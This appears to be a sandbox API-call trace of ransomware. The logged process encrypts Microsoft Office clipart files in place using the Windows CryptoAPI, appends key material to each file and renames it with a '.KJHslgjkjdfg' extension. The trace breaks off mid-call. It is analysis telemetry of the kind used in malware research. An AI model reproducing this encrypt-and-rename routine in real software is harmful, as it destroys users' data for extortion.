1 [0184.604] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.605] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.605] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.605] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.605] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.605] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1090, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1090, lpOverlapped=0x0) returned 1 [0184.606] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1090, dwBufLen=0x1090 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1090) returned 1 [0184.606] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.606] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1090, lpOverlapped=0x0) returned 1 [0184.606] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.606] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1164, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.606] SetEndOfFile (hFile=0x114) returned 1 [0184.609] GetProcessHeap () returned 0x2a0000 [0184.609] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.609] GetProcessHeap () returned 0x2a0000 [0184.609] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.609] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00132_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00132_.wmf.kjhslgjkjdfg")) returned 1 [0184.611] CloseHandle (hObject=0x114) returned 1 [0184.611] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b16fc00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x69c72af0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b16fc00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x31e2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MP00646_.WMF", cAlternateFileName="")) returned 1 [0184.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00646_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.612] GetProcessHeap () returned 0x2a0000 [0184.612] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.612] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.612] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.613] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0184.617] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.617] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.617] GetProcessHeap () returned 0x2a0000 [0184.617] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.617] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.617] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.617] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.618] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.618] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.618] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.618] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.618] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.618] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.618] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.618] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.618] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x31e2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x31e2, lpOverlapped=0x0) returned 1 [0184.619] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x31f0, dwBufLen=0x31f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x31f0) returned 1 [0184.620] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.620] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x31f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x31f0, lpOverlapped=0x0) returned 1 [0184.620] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.620] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x32c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.620] SetEndOfFile (hFile=0x114) returned 1 [0184.623] GetProcessHeap () returned 0x2a0000 [0184.623] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.623] GetProcessHeap () returned 0x2a0000 [0184.623] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.623] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00646_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00646_.wmf.kjhslgjkjdfg")) returned 1 [0184.625] CloseHandle (hObject=0x114) returned 1 [0184.625] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1ae0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MUSIC_01.MID", cAlternateFileName="")) returned 1 [0184.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.627] GetProcessHeap () returned 0x2a0000 [0184.627] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.627] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.627] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.627] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.627] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.627] GetProcessHeap () returned 0x2a0000 [0184.627] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.627] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.627] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.627] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.630] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.630] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.630] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.630] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.630] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.630] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.630] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.630] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.630] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1ae0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1ae0, lpOverlapped=0x0) returned 1 [0184.631] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1ae0, dwBufLen=0x1ae0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1ae0) returned 1 [0184.631] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.631] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1ae0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1ae0, lpOverlapped=0x0) returned 1 [0184.632] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.632] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1bb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.632] SetEndOfFile (hFile=0x114) returned 1 [0184.634] GetProcessHeap () returned 0x2a0000 [0184.635] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.635] GetProcessHeap () returned 0x2a0000 [0184.635] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.635] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid.kjhslgjkjdfg")) returned 1 [0184.636] CloseHandle (hObject=0x114) returned 1 [0184.636] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9070c700, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9070c700, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0x5044, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00042_.WMF", cAlternateFileName="")) returned 1 [0184.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00042_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.637] GetProcessHeap () returned 0x2a0000 [0184.637] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.637] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.638] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.638] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0184.640] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.640] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.640] GetProcessHeap () returned 0x2a0000 [0184.640] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.640] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.640] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.640] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.640] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.640] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.640] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.641] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.641] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.641] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.641] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.641] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.641] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5044, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5044, lpOverlapped=0x0) returned 1 [0184.642] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5050, dwBufLen=0x5050 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5050) returned 1 [0184.642] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.642] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5050, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5050, lpOverlapped=0x0) returned 1 [0184.643] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.643] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5124, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.643] SetEndOfFile (hFile=0x114) returned 1 [0184.646] GetProcessHeap () returned 0x2a0000 [0184.646] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.646] GetProcessHeap () returned 0x2a0000 [0184.646] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.646] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00042_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00042_.wmf.kjhslgjkjdfg")) returned 1 [0184.647] CloseHandle (hObject=0x114) returned 1 [0184.647] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b49b100, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b49b100, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x2a42, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00057_.WMF", cAlternateFileName="")) returned 1 [0184.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00057_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.648] GetProcessHeap () returned 0x2a0000 [0184.649] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.649] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.649] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.649] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0184.651] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.651] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.651] GetProcessHeap () returned 0x2a0000 [0184.651] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.651] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.651] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.651] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.651] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.652] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.652] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.652] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.652] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.652] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.652] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.652] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.652] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2a42, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2a42, lpOverlapped=0x0) returned 1 [0184.653] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2a50, dwBufLen=0x2a50 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2a50) returned 1 [0184.653] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.654] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2a50, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: 